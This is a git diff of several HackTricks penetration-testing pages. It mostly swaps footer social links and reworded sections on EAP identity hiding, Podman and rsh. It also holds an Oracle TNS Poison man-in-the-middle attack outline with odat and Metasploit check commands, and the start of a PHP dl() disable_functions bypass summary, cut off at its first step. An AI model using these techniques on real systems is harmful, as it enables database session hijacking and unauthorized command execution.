* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -128,7 +128,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -36,7 +36,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -29,7 +29,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -26,7 +26,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -11,7 +11,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -85,7 +85,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -9,7 +9,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
@ -280,7 +280,7 @@ Other ways to support HackTricks:
|
|||
* If you want to see your **company advertised in HackTricks** or **download HackTricks in PDF** Check the [**SUBSCRIPTION PLANS**](https://github.com/sponsors/carlospolop)!
|
||||
* Get the [**official PEASS & HackTricks swag**](https://peass.creator-spring.com)
|
||||
* Discover [**The PEASS Family**](https://opensea.io/collection/the-peass-family), our collection of exclusive [**NFTs**](https://opensea.io/collection/the-peass-family)
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** me on **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
|
||||
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks_live**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Share your hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -465,25 +465,26 @@ Inside the "**Response, Identity**" packet, the **username** of the client will
|
|||
|
||||
### Anonymous Identities
|
||||
|
||||
(Info taken from [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm))
|
||||
Identity hiding is supported by both EAP-PEAP and EAP-TTLS. In the context of a WiFi network, an EAP-Identity request is typically initiated by the access point (AP) during the association process. To ensure the protection of user anonymity, the response from the EAP client on the user's device contains only the essential information required for the initial RADIUS server to process the request. This concept is illustrated through the following scenarios:
|
||||
|
||||
Both **EAP-PEAP and EAP-TTLS support identity hiding**. In a WiFi environment, the access point (AP) typically generates an EAP-Identity request as part of the association process. To preserve anonymity, the EAP client on the user’s system may respond with only enough information to allow the first hop RADIUS server to process the request, as shown in the following examples.
|
||||
* EAP-Identity = anonymous
|
||||
|
||||
* _**EAP-Identity = anonymous**_
|
||||
- In this scenario, all users employ the pseudonymous "anonymous" as their user identifier. The initial RADIUS server functions as either an EAP-PEAP or EAP-TTLS server, responsible for managing the server-side of the PEAP or TTLS protocol. The inner (protected) authentication method is then either handled locally or delegated to a remote (home) RADIUS server.
|
||||
|
||||
> In this example, all users will share the pseudo-user-name “anonymous”. The first hop RADIUS server is an EAP-PEAP or EAP-TTLS server which drives the server end of the PEAP or TTLS protocol. The inner (protected) authentication type will then be either handled locally or proxied to a remote (home) RADIUS server.
|
||||
* EAP-Identity = anonymous@realm_x
|
||||
|
||||
* _**EAP-Identity = anonymous@realm\_x**_
|
||||
- In this situation, users from different realms conceal their identities while indicating their respective realms. This allows the initial RADIUS server to proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms, which act as the PEAP or TTLS server. The initial RADIUS server operates solely as a RADIUS relay node.
|
||||
|
||||
- Alternatively, the initial RADIUS server may function as the EAP-PEAP or EAP-TTLS server and either handle the protected authentication method or forward it to another server. This option facilitates the configuration of distinct policies for various realms.
|
||||
|
||||
> In this example, users belonging to different realms hide their own identity but indicate which realm they belong to so that the first hop RADIUS server may proxy the EAP-PEAP or EAP-TTLS requests to RADIUS servers in their home realms which will act as the PEAP or TTLS server. The first hop server acts purely as a RADIUS relay node.
|
||||
>
|
||||
> Alternatively, the first hop server may act as the EAP-PEAP or EAP-TTLS server and either process the protected authentication method or proxy it to another server. This option may be used to configure different policies for different realms.
|
||||
In EAP-PEAP, once the TLS tunnel is established between the PEAP server and the PEAP client, the PEAP server initiates an EAP-Identity request and transmits it through the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user's true identity through the encrypted tunnel. This approach effectively prevents the revelation of the user's actual identity to anyone eavesdropping on the 802.11 traffic.
|
||||
|
||||
In EAP-PEAP, once the PEAP server and the PEAP client establish the TLS tunnel, the PEAP server generates an EAP-Identity request and transmits it down the TLS tunnel. The client responds to this second EAP-Identity request by sending an EAP-Identity response containing the user’s true identity down the encrypted tunnel. This prevents anyone eavesdropping on the 802.11 traffic from discovering the user’s true identity.
|
||||
EAP-TTLS follows a slightly different procedure. With EAP-TTLS, the client typically authenticates using PAP or CHAP, secured by the TLS tunnel. In this case, the client includes a User-Name attribute and either a Password or CHAP-Password attribute in the initial TLS message sent after tunnel establishment.
|
||||
|
||||
EAP-TTLS works slightly differently. With EAP-TTLS, the client typically authenticates via PAP or CHAP protected by the TLS tunnel. In this case, the client will include a User-Name attribute and either a Password or CHAP-Password attribute in the first TLS message sent after the tunnel is established.
|
||||
Regardless of the protocol chosen, the PEAP/TTLS server obtains knowledge of the user's true identity after the TLS tunnel has been established. The true identity can be represented as user@realm or simply user. If the PEAP/TTLS server is also responsible for authenticating the user, it now possesses the user's identity and proceeds with the authentication method protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user's home RADIUS server. This new RADIUS request omits the PEAP or TTLS protocol layer. In cases where the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user's true identity, replacing the anonymous User-Name from the incoming RADIUS request. When the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes extracted from the TLS payload are substituted in the outgoing RADIUS message, displacing the anonymous User-Name and TTLS EAP-Message attributes found in the incoming RADIUS request.
|
||||
|
||||
For more info check [https://www.interlinknetworks.com/app\_notes/eap-peap.htm](https://www.interlinknetworks.com/app\_notes/eap-peap.htm)
|
||||
|
||||
With either protocol, the PEAP/TTLS server learns the user’s true identity once the TLS tunnel has been established. The true identity may be either in the form _**user@realm**_ or simply _**user**_. If the PEAP/TTLS server is also authenticating the _**user**_, it now knows the user’s identity and proceeds with the authentication method being protected by the TLS tunnel. Alternatively, the PEAP/TTLS server may forward a new RADIUS request to the user’s home RADIUS server. This new RADIUS request has the PEAP or TTLS protocol stripped out. If the protected authentication method is EAP, the inner EAP messages are transmitted to the home RADIUS server without the EAP-PEAP or EAP-TTLS wrapper. The User-Name attribute of the outgoing RADIUS message contains the user’s true identity – not the anonymous identity from the User-Name attribute of the incoming RADIUS request. If the protected authentication method is PAP or CHAP (supported only by TTLS), the User-Name and other authentication attributes recovered from the TLS payload are placed in the outgoing RADIUS message in place of the anonymous User-Name and TTLS EAP-Message attributes included in the incoming RADIUS request.
|
||||
|
||||
### EAP-Bruteforce (password spray)
|
||||
|
||||
|
|
|
@ -15,27 +15,25 @@ Other ways to support HackTricks:
|
|||
</details>
|
||||
|
||||
|
||||
# TNS Poison
|
||||
A vulnerability known as 'TNS Poison' affects versions up to 12c of the listener, with the latter only being vulnerable under specific configurations. For instance, disabling the dynamic configuration of the listener is a remediation measure that is not feasible in setups utilizing Oracle DataGuard, PL/SQL Gateway with APEX, and certain SAP versions. This vulnerability stems from the listener service's default behavior of supporting remote configuration, including anonymous configurations, which is the crux of the vulnerability.
|
||||
|
||||
If you encounter a newer version of the listener, there is not much room left except brute-forcing. However, all versions up to version 12c are vulnerable to an attack called ‘TNS Poison’. Though the latter version is vulnerable only in some special configurations. For example, one of the ways to fix this vulnerability is by disabling the dynamic configuration of the listener, which is impossible when using Oracle DataGuard, PL/SQL Gateway in connection with APEX and in some versions of SAP. In general, the issue is that, by default, the listener service supports remote configuration and, in addition, it allows to do it anonymously. This is where the heart of vulnerability lies.
|
||||
![https://hackmag.com/wp-content/uploads/2015/04/poison.png](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
|
||||
|
||||
[![Fig. 1. TNS Poison Vulnerability](https://hackmag.com/wp-content/uploads/2015/04/poison.png)](https://hackmag.com/wp-content/uploads/2015/04/poison.png)
|
||||
*Figure 1 depicts the TNS Poison Vulnerability.*
|
||||
|
||||
Fig. 1. TNS Poison Vulnerability
|
||||
A sample attack algorithm is detailed as follows (refer to Fig. 1):
|
||||
|
||||
This is a sample attack algorithm \(see Fig. 1\):
|
||||
1. A TNS query, ‘CONNECT_DATA=(COMMAND=SERVICE_REGISTER_NSGR)’, is to be sent.
|
||||
2. A response of ‘(DESCRIPTION=(TMP=))’ indicates vulnerability, whereas a patched server responds with ‘(ERROR_STACK=(ERROR=1194))’.
|
||||
3. The attacker is required to generate a configuration package, including the SID and IP for a new listener, aimed at a Man-In-The-Middle (MITM) attack. The length of the current SID's name is crucial for crafting a Well Formed package.
|
||||
4. These components are then forwarded to the listener.
|
||||
5. Upon successful execution, new connections are directed through the attacker's controlled IP by the listener.
|
||||
|
||||
* Send the following TNS query: ‘CONNECT\_DATA=\(COMMAND=SERVICE\_REGISTER\_NSGR\)\)’.
|
||||
* The vulnerable server will respond: ‘\(DESCRIPTION=\(TMP=\)\)’. This is what will be the answer from a patched server: ‘\(ERROR\_STACK=\(ERROR=1194\)\)’.
|
||||
* Generate a configuration package with SID and IP of the new listener \(for future MITM\). The number of characters in the name of the current SID is of fundamental importance. You need to know it, since this is what a Well Formed package depends on.
|
||||
* Next, send all these goodies to the listener.
|
||||
* If everything is correct, then all new connections will be forwarded by the listener through your controlled IP.
|
||||
It's critical to activate query proxying (akin to IP_forwarding in Linux) to prevent transforming a potential MITM attack into a Denial of Service (DoS) attack, which would block new clients from connecting to the database. This vulnerability allows an attacker to insert commands into another user’s session. The vulnerability of the server can be assessed using the Metasploit Framework (MSF) module: ‘auxiliary/scanner/oracle/tnspoison_checker’.
|
||||
|
||||
It is important not to forget to enable the proxying of queries \(like IP\_forwarding in Linux\), otherwise, instead of a neat MITM attack, you will get a rough DoS, because the new clients will be unable to connect to the database. As a result, an attacker can embed their own commands within another user’s session. **You can check whether the server is vulnerable by using the following MSF module: ‘auxiliary/scanner/oracle/tnspoison\_checker’.**
|
||||
For more information check the original [Hackmag's article on Oracle DB penetration methods](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/).
|
||||
|
||||
All this page was extracted from here: [https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/](https://hackmag.com/uncategorized/looking-into-methods-to-penetrate-oracle-db/)
|
||||
|
||||
**Other way to test:**
|
||||
**Alternative Testing Method:**
|
||||
|
||||
```text
|
||||
./odat.py tnspoison -s <IP> -p <PORT> -d <SID> --test-module
|
||||
|
|
|
@ -81,19 +81,18 @@ ctr container delete <containerName>
|
|||
|
||||
### Podman
|
||||
|
||||
**Info** [**from here**](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
An open-source, OCI ([Open Container Initiative](https://github.com/opencontainers)) compliant container engine known as Podman is maintained by Red Hat. It is characterized by several key distinctions from Docker, including its daemonless structure and the support for containers that do not require root access. The primary function of both tools is to manage images and containers. A notable goal of Podman is compatibility with Docker's API, allowing for the use of almost all Docker CLI commands within Podman.
|
||||
|
||||
Podman is an open source, OCI ([Open Container Initiative](https://github.com/opencontainers)) compliant container engine. It is driven by Red Hat and incorporates a few major differences from Docker, such as its daemonless architecture and support for rootless containers. At their core, **both tools do the same thing: manage images and containers**. One of **Podman’s objectives is to have a Docker-compatible API**. Hence almost all CLI (command line interface) commands from the Docker CLI are also available in Podman.
|
||||
Within the Podman ecosystem, two additional tools, Buildah and Skopeo, are present. Buildah serves as a CLI tool for building container images, while Skopeo is utilized for operations on images like push, pull, or inspect. For further information on these tools and their integration with Podman, [refer to their GitHub page](https://github.com/containers/buildah/tree/master/docs/containertools).
|
||||
|
||||
You may find two other tools in the Podman ecosystem: Buildah and Skopeo. Buildah is a CLI tool used to build container images, and Skopeo is a CLI tool for running operations on images, such as push, pull or inspect. [Please check out GitHub](https://github.com/containers/buildah/tree/master/docs/containertools) for more information on these tools and their relationship with Podman.
|
||||
**Key Differences**
|
||||
|
||||
**The major differences**
|
||||
The most significant distinction between Docker and Podman lies in their architectural design. Docker operates on a client-server model, necessitating the use of the Docker CLI to interact with a background daemon responsible for image building and container execution, which operates with root privileges. In contrast, Podman employs a daemonless architecture, allowing containers to be executed under the initiating user's privileges without requiring root access. This design ensures that users of Podman can only interact with their own containers, without a shared daemon for CLI communication.
|
||||
|
||||
**The greatest difference between Docker and Podman is their architecture**. **Docker** runs on a **client-server** architecture, while **Podman** runs on a **daemonless** architecture. But what does that mean? When working with **Docker**, you have to use the Docker CLI, which communicates with a **background daemon** (the Docker daemon). The main logic resides in the daemon, which builds images and executes containers. This **daemon runs with root privileges**. The **Podman** architecture by contrast allows you to **run** the **containers under the user that is starting the container** (fork/exec), and this user does not need any root privileges. Because **Podman has a daemonless architecture, each user running Podman can only see and modify their own containers**. There is no common daemon that the CLI tool communicates with.
|
||||
To accommodate background container operation without a daemon, Podman integrates with **systemd**, enabling container management through systemd units. This integration varies with the Podman version, offering the ability to generate units for both existing and yet-to-be-created containers, as well as facilitating systemd's operation within containers. Unlike Podman, Docker traditionally relies on systemd for daemon process management.
|
||||
|
||||
Since Podman does not have a daemon, it needs a way to support running containers in the background. It therefore provides an integration with **systemd**, which allows containers to be controlled via systemd units. Depending on the Podman version, you can generate these units for existing containers or generate units that are able to create containers if they do not exist in the system. There is another integration model with systemd, which enables systemd to run inside a container. By default, Docker uses systemd to control the daemon process.
|
||||
Another critical difference is in the execution of containers. Podman allows containers to run with the privileges of the initiating user, not under a daemon. This introduces the concept of rootless containers, which can be initiated without root access, offering a significant security advantage by limiting the potential impact of container breaches. Rootless containers ensure that a compromised container's attacker possesses only the privileges of a normal user on the host, preventing the escalation of privileges beyond those of the initiating user and thereby enhancing security.
|
||||
|
||||
The second major difference concerns how containers are executed. With **Podman**, **containers are executed under the user’s privileges and not under the daemon**. At this point, the concept of rootless containers comes into play, meaning that the container can be started without root privileges. Rootless containers have a huge advantage over rootful containers since (you guessed it) they do not run under the root account. The benefit of this is that if an attacker is able to capture and escape a container, this attacker is still a normal user on the host. Containers that are started by a user cannot have more privileges or capabilities than the user itself. This adds a natural layer of protection.
|
||||
|
||||
{% hint style="info" %}
|
||||
Note that as podam aims to support the same API as docker, you can use the same commands with podman as with docker such as:
|
||||
|
@ -347,6 +346,9 @@ falco-probe found and loaded in dkms
|
|||
|
||||
You can use auditd to monitor docker.
|
||||
|
||||
# References
|
||||
* [https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html](https://ti8m.com/blog/Why-Podman-is-worth-a-look-.html)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -16,9 +16,9 @@ Other ways to support HackTricks:
|
|||
|
||||
## Basic Information
|
||||
|
||||
**Rsh** use **.rhosts** files and **/etc/hosts.equiv** for authentication. These methods relied on IP addresses and DNS (Domain Name System) for authentication. However, spoofing IP addresses is fairly easy, especially if the attacker is on the local network.
|
||||
For authentication, **.rhosts** files along with **/etc/hosts.equiv** were utilized by **Rsh**. Authentication was dependent on IP addresses and the Domain Name System (DNS). The ease of spoofing IP addresses, notably on the local network, was a significant vulnerability.
|
||||
|
||||
Furthermore, the **.rhosts** files were stored in users' home directories, which were typically stored on NFS (Network File System) volumes. (from here: [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)).
|
||||
Moreover, it was common for the **.rhosts** files to be placed within the home directories of users, which were often located on Network File System (NFS) volumes.
|
||||
|
||||
**Default port**: 514
|
||||
|
||||
|
@ -33,6 +33,9 @@ rsh domain\\user@<IP> <Command>
|
|||
|
||||
### [**Brute Force**](../generic-methodologies-and-resources/brute-force.md#rsh)
|
||||
|
||||
## References
|
||||
* [https://www.ssh.com/ssh/rsh](https://www.ssh.com/ssh/rsh)]
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Learn AWS hacking from zero to hero with</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
|
|
@ -25,314 +25,72 @@ However, it has some strict limitations:
|
|||
* The PHP Extension **must be compiled with the same major version** (PHP API version) that the server is using (you can see this information in the output of phpinfo)
|
||||
* The PHP extension must be **located in the directory** that is **defined** by the **`extension_dir`** directive (you can see it in the output of phpinfo). It's very unprobeable that an attacker trying to abuse the server will have write access over this directory, so this requirement probably will prevent you to abuse this technique).
|
||||
|
||||
**If you meet these requirements, continue reading this post copied from** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **to learn how to bypass disable\_functions**
|
||||
**If you meet these requirements, continue reading the post** [**https://antichat.com/threads/70763/**](https://antichat.com/threads/70763/) **to learn how to bypass disable\_functions**. Here is a summary:
|
||||
|
||||
When the admin was configuring the box he/she overlooked the [dl function](http://www.php.net/manual/en/function.dl.php) and didn't disable it since there was no mention of being able to execute system commands.\
|
||||
The [dl function](http://www.php.net/manual/en/function.dl.php) is used to loads PHP extensions when a script is executed.\
|
||||
\
|
||||
(PHP extensions are written in C/C++ and are used to give PHP more functionality.)\
|
||||
\
|
||||
The attacker notices the function isn't disabled and sees potential and decides to create a PHP extension.\
|
||||
The attacker checks the version of PHP using a small script`<?php echo 'PHP Version is '.PHP_VERSION; ?>` (PHP\_VERSION is a predefined constant that contains the version number of PHP.)\
|
||||
\
|
||||
The attacker notes the version and downloads the tarball from the [PHP website](http://www.php.net/downloads.php), in this scenario the version is older than the current release so the attacker has to go to the [archive](http://museum.php.net).\
|
||||
\
|
||||
Next he extracts the source and [compiles and installs](http://www.php.net/manual/en/install.php) the version of PHP on his own box.\
|
||||
\
|
||||
Now it's time to create the extension\
|
||||
The attacker reads up on [creating PHP extensions](http://www.php.net/manual/en/zend.creating.php) from the PHP site.\
|
||||
After reading through the documentation and creating some extensions of his own he decides to look at the PHP code base since the function he's after is already created.\
|
||||
\
|
||||
The function that will be duplicated will be the [exec function](http://www.php.net/manual/en/function.exec.php)\
|
||||
in the code base it's located in ext/standard/exec.c\
|
||||
\
|
||||
The relevant parts are implemented into a new extension of its own.\
|
||||
\
|
||||
The [dl function](http://www.php.net/manual/en/function.dl.php) is used to load PHP extensions dynamically during script execution. PHP extensions, typically written in C/C++, enhance PHP's functionality. The attacker, upon noticing the `dl` function is not disabled, decides to create a custom PHP extension to execute system commands.
|
||||
|
||||
**Notes:**
|
||||
### Steps Taken by the Attacker:
|
||||
|
||||
Before you start compiling the codes you should be aware of two points:
|
||||
1. **PHP Version Identification:**
|
||||
- The attacker determines the PHP version using a script (`<?php echo 'PHP Version is '.PHP_VERSION; ?>`).
|
||||
|
||||
